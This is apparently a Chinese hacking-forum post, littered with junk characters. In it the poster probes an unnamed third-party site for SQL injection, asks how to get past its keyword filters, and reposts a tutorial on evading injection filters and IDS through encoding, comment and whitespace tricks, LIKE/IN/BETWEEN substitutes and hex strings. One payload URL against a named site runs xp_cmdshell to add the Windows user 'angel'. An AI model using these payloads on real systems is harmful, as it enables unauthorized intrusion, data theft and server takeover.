路过这个网站,检测了一下.
: j, w' B; V, g& Fhttp://www.xxx.cn/Article.asp?ID=117 and 1=16 P% h n! }4 D/ N. q/ c" _- W
直接返回主页5 m: @% S, L& u1 v
http://www.xxx.cn/Article.asp?ID=117 or 1=1
4 m/ t1 _$ O8 T* C$ R直接返回主页' \4 n! Q& M" r
http://www.xxx.cn/Article.asp?ID=117 or7 [6 m- Q; L. Z, b t( X
没有返回主页 没有过滤or
( `# F, ?" ]$ W, f/ j0 |http://www.xxx.cn/Article.asp?ID=117 and
$ q8 L' v" U1 h$ C) _1 p直接返回主页 看来过滤了and: s5 c8 A+ E2 M6 M% F* C6 A
http://www.xxx.cn/Article.asp?ID=117 or 1* Q/ W0 x' G( h( e7 l
没有返回主页 即没有过滤or 也没有过滤1( r, A& _9 T) R3 J
http://www.xxx.cn/Article.asp?ID=117 or 1=1
! B: Q9 _- ^- ~9 S$ b8 R7 C* S直接返回主页 很明显过滤了等号 0 R3 l1 F) ]! w' G7 D: G( x
or的特性是与and相反的.
]) F0 U5 j @4 {or 1=1 爆错 或与原页面不同
" j( Z7 |9 X. [; S! S: @or 1=2 原页面相同1 E# e' c# v- o& L; y# T7 D4 K
这样就是一个注入点; F, B0 Q2 `1 w0 o5 N) _
但他过滤了=号 我就用><号代替=号吧!
' N6 |1 E- A [# w. Ror 1<2 很明显是正确的,所以应该与原页面不同( G! Z/ x5 A6 J! x% `- z1 O: t% ~$ K
or 1>2 很明显是错误的,所以应该与原页面相同. X. H0 T& E! G! V, S
然后看看有没有过滤其他的查询语句,比如select.
/ t' O; B3 M; y1 R" phttp://www.xxx.cn/Article.asp?ID=117 select+ m5 a% z, f1 Y' i% z
直接返回主页( k, @1 Z" H/ D! c" ^9 b
又迷茫了..
2 X- U5 `; P: C$ A& P2 z, P# S1 Q. f6 ]& k+ V
) w0 S" X/ L+ A. x9 X! K& icookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗7 B5 M$ @- Q( ~& e6 O, ^8 W3 K
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)3 r- {. G8 O0 l. t# s
================================================! w' I# L7 l( x
以下是转贴:
. F. m4 l$ O% v& G3 W# w1 A' r8 x' u. ]0 x5 S! e& r
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 9 Q. z' P& B" `; L. |3 }
经过我的收集,大部分的防注入程序都过滤了以下关键字: ( K2 J5 e! d8 s0 s
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 3 S" h- p7 v& l7 r/ }
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
- x$ w1 j) ]# ]$ q+ f$ l! r对于关键字的过滤,以下是我收集的以及我个人的一些想法。
+ @" B: I* H% w) G+ q2 X1、运用编码技术绕过
: e5 a9 H- a4 L0 W1 d- s如URLEncode编码,ASCII编码绕过。例如or 1=1即
1 D& g/ T: y4 g: B; ^ C%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
0 L/ ?5 X. H/ y* X+ x- c3 Q, [2 {+ |) o! a8 Y$ B8 `' Q; c' z
2、通过空格绕过
5 R3 e+ N5 l& Q# N3 G1 h5 p7 Y如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 % d' n/ [6 d& O: N* d/ u
or’ swords’ =‘swords’ : s0 L1 w2 h- J s) ?, V
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 4 S- ?6 S7 l9 E8 {- X$ }4 g
3、运用字符串判断代替
7 K, B$ g/ ^$ `2 j* v9 n用经典的or 1=1判断绕过,如
" i6 b8 g4 Z9 F# Dor ’swords’ =’swords’ $ N5 d' L1 o* q3 P& X
,这个方法就是网上在讨论的。 5 M& }, m2 ^" O$ M8 j+ k8 P9 E/ J8 F
4、通过类型转换修饰符N绕过
/ R# m) ~5 C) q! a. D$ |' d可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
, j: |; ~+ k; y( [. Q4 K5、通过+号拆解字符串绕过 6 [! Z: v/ m' N7 \: [; j. _
效果值得考证,但毕竟是一种方法。如
6 Y( m7 q3 h9 I. I$ ior ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
4 l) i2 }+ C) y4 M2 K6 d
5 ]$ Y% ^* @1 {; z" c0 W6、通过LIKE绕过 1 |2 R( I# K5 c% j8 k, J
以前怎么就没想到呢?如or
6 l+ I0 [0 a( P( D$ E’swords’ LIKE ’sw’ / o P1 D4 X8 |6 R, ]
!!!显然可以很轻松的绕过
{) B' e: ^( r/ k7 |$ d0 z“=”“>”
2 l: D, p" D) V* F9 v( b. p( J的限制…… . G+ J1 _3 O6 _1 B9 g( d
7、通过IN绕过 - X& b" u6 X! z" ]! W
与上面的LIKE的思路差不多,如
* W( o. s: T4 N- n; o2 Q: I, qor ’swords’ IN (’swords’) # j* V4 s$ ]6 [$ y6 n; f* V8 }
+ v7 m% n+ h( g8、通过BETWEEN绕过
9 R, @+ F" A3 [7 Q7 X, i1 B) G如
7 U4 c% I: x3 e$ m: Dor ’swords’ BETWEEN ’rw’ AND ’tw’ : o7 v& x- ~6 e- O) d
+ s$ m" n. ], M$ @* B0 v' P
9、通过>或者<绕过
+ E! Y( B" M( T% u1 a5 Hor ’swords’ > ’sw’ 0 a( t" |. V2 J0 F9 \8 S) x
or ’swords’ < ’tw’ % c" b; |2 _( A+ [0 w( x
or 1<3
; k) L) G& k4 ]) I6 r; M" |…… * l4 Y7 ?0 l( @4 ]* v. O& l
10、运用注释语句绕过
9 M7 o6 r4 G, T: E7 J' {- |用/**/代替空格,如:
! x8 l' d( w' o, d C' ?UNION /**/ Select /**/user,pwd,from tbluser
0 ^9 ^+ e! C& S# W) k9 A
4 ?4 N; Z. j' z+ V/ B( D; v用/**/分割敏感词,如:
J9 N. h; A6 J# k; ^; RU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 9 Q n% r0 D4 B- i9 }
' N6 ], ~. |9 ~11、用HEX绕过,一般的IDS都无法检测出来 & R3 L) W) s. o1 C! A2 ^7 @
0x730079007300610064006D0069006E00 =hex(sysadmin) ( {* ^9 ]1 M# u- r) E- q9 [ O, M
0x640062005F006F0077006E0065007200 =hex(db_owner) % ?" K w/ s! i" \! ]2 B
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
3 h n4 _! O. k- X. j declare @a sysname 6 N2 g2 a! H' {, C2 Y. z4 Y. P1 ~
select @a=
8 T2 Q- c- B4 m+ b exec master.dbo.xp_cmdshell @a
$ ]- H( D4 z& e! i+ ^0 Y效果 6 k7 k5 x0 j8 I9 p
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 5 h& Q# U1 ^& f
: p2 I9 o% N+ f/ c' c; D0 ?3 G其中的 + j4 e0 z6 C' S- I4 M4 y
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
2 w% K6 a1 i" B. d# b% P就是 5 t5 {) O# E- ^- g- [
“net user angel pass /add”* G. V& D: t# V8 Q) {. M' I9 ]" U
) |/ S. I' b3 T& ?; B! @3 p
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
, T; _" v/ d) \6 _引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。4 I' A4 {% n% {0 u% R
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
; S: Z: I0 y+ e9 J7 I0 N9 `, rCopy code
+ v% H. h- J# I% I, G; `+ y1 gselect * from table exec xp_cmdshell'xxxxxxxxxx'
/ E N1 Y, E; u5 ^ B, T9 k. }6 f8 s6 q7 p! Y
& Y" X* j( ?9 k& e9 h, u& l
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
' Z$ Q- D! ?& j" U: e
/ I* E( T- u, y" f6 q# {$ b. S
3 W! A7 F; [3 \+ Zselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'$ C; d3 V- \, \7 w: o5 S" o
5 T" s0 w- N: q% ?5 U
8 j! n3 s! Y2 {3 w
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'% i; T: d- R6 n; s* K
6 P/ N' w$ {7 {8 R7 _+ i' S1 [的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?6 ~8 M) C. W# w
" z* B& T+ ^9 z, J1 o- ?这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
% |& Z1 J \2 x" m可能大家早就知道了,不管怎么说,发在这里吧!
5 c$ ]/ o# F/ g7 A7 N ^
C ^$ w& J- H I; y最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
4 o! q2 |, z8 T- p4 [! c/ a
e) x3 K" [, o
$ [! ^0 T; g& h/ q k
8 _2 ?) }1 S. I2 \& w" q对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,$ ^2 O' Q% e6 D9 n" o
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? . z- a. i/ Q, f6 q
+ y4 p% `5 u, v
|